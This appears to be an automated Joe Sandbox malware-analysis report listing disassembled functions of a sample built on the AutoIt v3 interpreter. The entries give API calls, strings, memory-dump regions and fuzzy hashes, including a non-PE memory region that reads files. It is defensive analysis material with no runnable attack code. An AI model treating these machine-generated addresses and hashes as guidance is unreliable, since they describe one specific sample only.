_wcscmp.LIBCMT ref: 0076C03E

Part of subcall function 0076C56D: _wcscmp.LIBCMT ref: 0076C65D
Part of subcall function 0076C56D: _wcscmp.LIBCMT ref: 0076C670

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0076C2A1
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0076C338
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0076C34E
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0076C35F
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0076C371

Strings

p1Mw`KNw, xrefs: 0076C2A1, 0076C338, 0076C35F, 0076C371

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID: p1Mw`KNw
API String ID: 2378138488-3626030660
Opcode ID: 6ce7a8ec42a20e9634df3a052462b9381f2c7355074e51abd941611c74461c3a
Instruction ID: 03ac73a64f2b909976b72cd36782f87b46c47dfb0e18586b07ddfb4b2dfa1923
Opcode Fuzzy Hash: 6ce7a8ec42a20e9634df3a052462b9381f2c7355074e51abd941611c74461c3a
Instruction Fuzzy Hash: 75C11CB1A00229EEDF11DF95CC85EEEB7BCAF45310F1040A6EA4AE6151DB349A448F65

Function 00723F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00723F86
RegisterClassExW.USER32(00000030), ref: 00723FB0
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00723FC1
InitCommonControlsEx.COMCTL32(?), ref: 00723FDE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00723FEE
LoadIconW.USER32(000000A9), ref: 00724004
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00724013

Strings

TaskbarCreated, xrefs: 00723FB6
AutoIt v3 GUI, xrefs: 00723FA2
0, xrefs: 00723F68
+, xrefs: 00723F6F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a37efe28678ca3d169d54befa58ec1010b84c7263087aadb34d7d8281458f239
Instruction ID: 7e4cacacaf436f447e357cce4c8ec00a9a01c453879c82b5d73045383d6140fe
Opcode Fuzzy Hash: a37efe28678ca3d169d54befa58ec1010b84c7263087aadb34d7d8281458f239
Instruction Fuzzy Hash: 3A21C9B5901358AFDB10DFA4EC8ABCEBBB4FB4D700F40811AF511AA6A0D7B845448F99

Function 00723742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 007237B3
KillTimer.USER32(?,00000001), ref: 007237DD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00723800
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0072380B
CreatePopupMenu.USER32 ref: 0072381F
PostQuitMessage.USER32(00000000), ref: 0072382E

Strings

TaskbarCreated, xrefs: 00723806

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 0e1d98a04f90a4715ef71a5160fa41e1e39db08150a26b8c4e5a252c4d2d7931
Instruction ID: 9496afedacb339c5ba17a9b3784286805bc1eb4380bb1177231d2dabf55e6a50
Opcode Fuzzy Hash: 0e1d98a04f90a4715ef71a5160fa41e1e39db08150a26b8c4e5a252c4d2d7931
Instruction Fuzzy Hash: E44148F12002AAABDF245B28BCCEBBA3655F748301F808125F902D6291CB7C9E508765

Function 00723E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00723E79
LoadCursorW.USER32(00000000,00007F00), ref: 00723E88
LoadIconW.USER32(00000063), ref: 00723E9E
LoadIconW.USER32(000000A4), ref: 00723EB0
LoadIconW.USER32(000000A2), ref: 00723EC2

Part of subcall function 00724024: LoadImageW.USER32(00720000,00000063,00000001,00000010,00000010,00000000), ref: 00724048

RegisterClassExW.USER32(?), ref: 00723F30

Part of subcall function 00723F53: GetSysColorBrush.USER32(0000000F), ref: 00723F86
Part of subcall function 00723F53: RegisterClassExW.USER32(00000030), ref: 00723FB0
Part of subcall function 00723F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00723FC1
Part of subcall function 00723F53: InitCommonControlsEx.COMCTL32(?), ref: 00723FDE
Part of subcall function 00723F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00723FEE
Part of subcall function 00723F53: LoadIconW.USER32(000000A9), ref: 00724004
Part of subcall function 00723F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00724013

Strings

AutoIt v3, xrefs: 00723F1F
#, xrefs: 00723F09
0, xrefs: 00723F02

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 6f5e90f84c571fa144556ad5a4f28e2fd9bfbe244228cdd1c313b9c53bd02c6c
Instruction ID: bdf0c4e4387df6908409b1a44c078adddb7d6a15c24bd96d89e870eabaca9909
Opcode Fuzzy Hash: 6f5e90f84c571fa144556ad5a4f28e2fd9bfbe244228cdd1c313b9c53bd02c6c
Instruction Fuzzy Hash: AB2136B0E01358ABDB14DFA9EC86B99BBF5EB4C310F40811AE215A62A0D77D46448F99

Function 0074ACB3 Relevance: 15.2, APIs: 10, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0074ACC1

Part of subcall function 00747CF4: __mtinitlocknum.LIBCMT ref: 00747D06
Part of subcall function 00747CF4: EnterCriticalSection.KERNEL32(00000000,?,00747ADD,0000000D), ref: 00747D1F

__calloc_crt.LIBCMT ref: 0074ACD2

Part of subcall function 00746986: __calloc_impl.LIBCMT ref: 00746995
Part of subcall function 00746986: Sleep.KERNEL32(00000000,000003BC,0073F507,?,0000000E), ref: 007469AC

@_EH4_CallFilterFunc@8.LIBCMT ref: 0074ACED
GetStartupInfoW.KERNEL32(?,007D6E28,00000064,00745E91,007D6C70,00000014), ref: 0074AD46
__calloc_crt.LIBCMT ref: 0074AD91
GetFileType.KERNEL32(00000001), ref: 0074ADD8
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 0074AE11

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 50b3fd6071b158e0ea34d658e54d083410703b77f5e2f1cac8111f58058820f8
Instruction ID: 278c72b3cdedf24d004602ecad559ff18d67614423085abd9bd889b0a2c81e6c
Opcode Fuzzy Hash: 50b3fd6071b158e0ea34d658e54d083410703b77f5e2f1cac8111f58058820f8
Instruction Fuzzy Hash: 5B81F371945351DFDB24CF68C8855A9BBF0AF0A320B24826DD4A6AB3D2D73CD803CB56

Function 00F06358 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00F06429
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F0664F

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction ID: 936ca2029c4e18ed13c7aa931822335cca9c1e59e9997a1b6133d17e09a34822
Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
Instruction Fuzzy Hash: 92A11775E00209EBDB14CFA4C998BEEBBB5BF48314F208159E501BB2C0D775AA51EF64

Function 007249FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00724A1D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 007941DB
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0079421A
RegCloseKey.ADVAPI32(?), ref: 00794249

Strings

Software\AutoIt v3\AutoIt, xrefs: 00724A13
Include, xrefs: 007941D3, 00794212

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: bb386d741658bf5599398351a84e70e94a7f4fb1ab2c1e54329cdd6ad1bcc4d7
Instruction ID: fdc136398eb214848aad866e80334d09fa697ab537054db4cebe6e19f5a6858b
Opcode Fuzzy Hash: bb386d741658bf5599398351a84e70e94a7f4fb1ab2c1e54329cdd6ad1bcc4d7
Instruction Fuzzy Hash: D2116075600118BFEB10ABA4DD86EEF7BBCEF15344F004055B502D6191EA785E029760

Function 007236B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 007236E6
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00723707
ShowWindow.USER32(00000000,?,?,?,?,00723AA3,?), ref: 0072371B
ShowWindow.USER32(00000000,?,?,?,?,00723AA3,?), ref: 00723724

Strings

AutoIt v3, xrefs: 007236DE, 007236E3, 007236E4
edit, xrefs: 00723701

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 6648f6238fdc8c0bf435a90e4f0d55e88ed8b1f74334c9a803553c35125700e7
Instruction ID: 8d7d4f9c8e2ae8e6453371f5d78ad2fcd22396be58418ae7b830a8f525d01c49
Opcode Fuzzy Hash: 6648f6238fdc8c0bf435a90e4f0d55e88ed8b1f74334c9a803553c35125700e7
Instruction Fuzzy Hash: 78F03A705412D47AEB309757AC8AF672E7DD7CBF20F40C01ABA04EA1A0C1790CC1CAB4

Function 00F060F8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F05FE8: Sleep.KERNELBASE(000001F4), ref: 00F05FF9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00F06249

Strings

Y4YCLMIP6HPNYN7PAPR7D2S23K24, xrefs: 00F062AC, 00F062AF

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateFileSleep
String ID: Y4YCLMIP6HPNYN7PAPR7D2S23K24
API String ID: 2694422964-17462436
Opcode ID: 7459d6d3f5425a2e4af67287083b1aeeeae1e0bb5da00db2b0291b4da35b7758
Instruction ID: a0f6ef738d1999441ad22d3f5f3691df1921c16ef1c7b448c3568048db246c4b
Opcode Fuzzy Hash: 7459d6d3f5425a2e4af67287083b1aeeeae1e0bb5da00db2b0291b4da35b7758
Instruction Fuzzy Hash: B161B470D04288DAEF11D7F4C858BEEBBB8AF15304F044199E249BB2C1C7B90B49DBA5

Function 00724A30 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00725374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007E1148,?,007261FF,?,00000000,00000001,00000000), ref: 00725392

Part of subcall function 007249FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00724A1D

_wcscat.LIBCMT ref: 00792D80
_wcscat.LIBCMT ref: 00792DB5

Strings

\Include\, xrefs: 00724B0A
\, xrefs: 00792DA2
8!~, xrefs: 00724B1C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscat$FileModuleNameOpen
String ID: 8!~$\$\Include\
API String ID: 3592542968-693535022
Opcode ID: c4b7f0cd13392e4bec0c68b85b8656eb28821c0767bc524be3ea120039b533e6
Instruction ID: 87bd3a285352686aa06a9835f7fac36cba1d2016466d75bc62c4e4add7dc14f9
Opcode Fuzzy Hash: c4b7f0cd13392e4bec0c68b85b8656eb28821c0767bc524be3ea120039b533e6
Instruction Fuzzy Hash: AB5190B1505388DFC714EF55E8C589AB7F8BE5D300B50852EF24487262EB7C9B0ACB5A

Function 007251AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0072522F
_wcscpy.LIBCMT ref: 00725283
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00725293
LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00793CB0

Strings

Line: , xrefs: 00793CD9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memset_wcscpy
String ID: Line:
API String ID: 1053898822-1585850449
Opcode ID: 36e90b2d712df720e134057ee1546a9de21d99807c8d6c89af9b963446c44507
Instruction ID: ccd2c28c925bad381dc6cc1a5722cf0fab1c819936050a2f492a81db02e82599
Opcode Fuzzy Hash: 36e90b2d712df720e134057ee1546a9de21d99807c8d6c89af9b963446c44507
Instruction Fuzzy Hash: 0D31D0B1508794EFD321EB60EC4AFDE77E8AB48310F00851EF58586091DB7CA648CB96

Function 00722322 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 007222A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,007224F1), ref: 00722303

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 007225A1
CoInitialize.OLE32(00000000), ref: 00722618
CloseHandle.KERNEL32(00000000), ref: 0079503A

Strings

h, xrefs: 0072237A
pi, xrefs: 00722384

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID: h$pi
API String ID: 3815369404-720832520
Opcode ID: a6997b0ba27f47b595f6367cfee69b22240efc23dcbc9ad78e708a9c00130dc2
Instruction ID: f7185cec44a7a479967e418b3f2ddc19e2e4975aa89a62c0a2d01c1648e2ebda
Opcode Fuzzy Hash: a6997b0ba27f47b595f6367cfee69b22240efc23dcbc9ad78e708a9c00130dc2
Instruction Fuzzy Hash: BD716AB4A032C58A8714EF6AADD6499BBA8B79D3447C0C16ED209CF7B2DB3C4451CB19

Function 00724139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 007241A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,007239FE,?,00000001), ref: 007241DB

_free.LIBCMT ref: 007936B7
_free.LIBCMT ref: 007936FE

Part of subcall function 0072C833: __wsplitpath.LIBCMT ref: 0072C93E
Part of subcall function 0072C833: _wcscpy.LIBCMT ref: 0072C953
Part of subcall function 0072C833: _wcscat.LIBCMT ref: 0072C968
Part of subcall function 0072C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0072C978

Strings

Bad directive syntax error, xrefs: 007936E4
>>>AUTOIT SCRIPT<<<, xrefs: 00793491

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 805182592-1757145024
Opcode ID: 2c158443fa806299fbfffe7005e84ee337c40297ff945974ce614ffb64aec062
Instruction ID: 39a5c8f5add6fe7a023fd60e5fee73a3b83ef363b2777579f9119b1f62be6043
Opcode Fuzzy Hash: 2c158443fa806299fbfffe7005e84ee337c40297ff945974ce614ffb64aec062
Instruction Fuzzy Hash: 38916271910229EFCF04EFA4EC959EDB7B4BF19310F14442AF816AB291DB38AE55CB50

Function 007240E5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00793725
GetOpenFileNameW.COMDLG32 ref: 0079376F

Part of subcall function 0072660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007253B1,?,?,007261FF,?,00000000,00000001,00000000), ref: 0072662F

Part of subcall function 007240A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007240C6

Strings

X, xrefs: 0079373E
t3}, xrefs: 00793745

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X$t3}
API String ID: 3777226403-1748427587
Opcode ID: 0133586db3be972b423af90182337497bf15323871a4d923d2670c4057177a39
Instruction ID: 131256387818e65c135e27269074afe2d9de48c442b580c7d179c2eaed1b3f86
Opcode Fuzzy Hash: 0133586db3be972b423af90182337497bf15323871a4d923d2670c4057177a39
Instruction Fuzzy Hash: BA21A571A101A8DFCF11DFD4D8497EE7BF89F89304F10806AE505AB241DBBC5A898F65

Function 007434AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__getstream.LIBCMT ref: 007434FE

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

@_EH4_CallFilterFunc@8.LIBCMT ref: 00743539
__wopenfile.LIBCMT ref: 00743549

Strings

<G, xrefs: 007434CD, 007434F0, 007434FC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: 7379d4b2ccbef239ba738a05b7804f2156c92c042e4d8e1b20fb93d37c6b1fa3
Instruction ID: 3878ba68f95b63c89f7c57c1964fc2f319bf69d645bf353d4f6876a20f2e4199
Opcode Fuzzy Hash: 7379d4b2ccbef239ba738a05b7804f2156c92c042e4d8e1b20fb93d37c6b1fa3
Instruction Fuzzy Hash: B311CA70A00216DBDB51BFB88C466BE76A4BF45360B158525F41DD7281EB3CCA11D7B1

Function 0073D298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,0073D28B,SwapMouseButtons,00000004,?), ref: 0073D2BC
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,0073D28B,SwapMouseButtons,00000004,?,?,?,?,0073C865), ref: 0073D2DD
RegCloseKey.KERNELBASE(00000000,?,?,0073D28B,SwapMouseButtons,00000004,?,?,?,?,0073C865), ref: 0073D2FF

Strings

Control Panel\Mouse, xrefs: 0073D2BA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
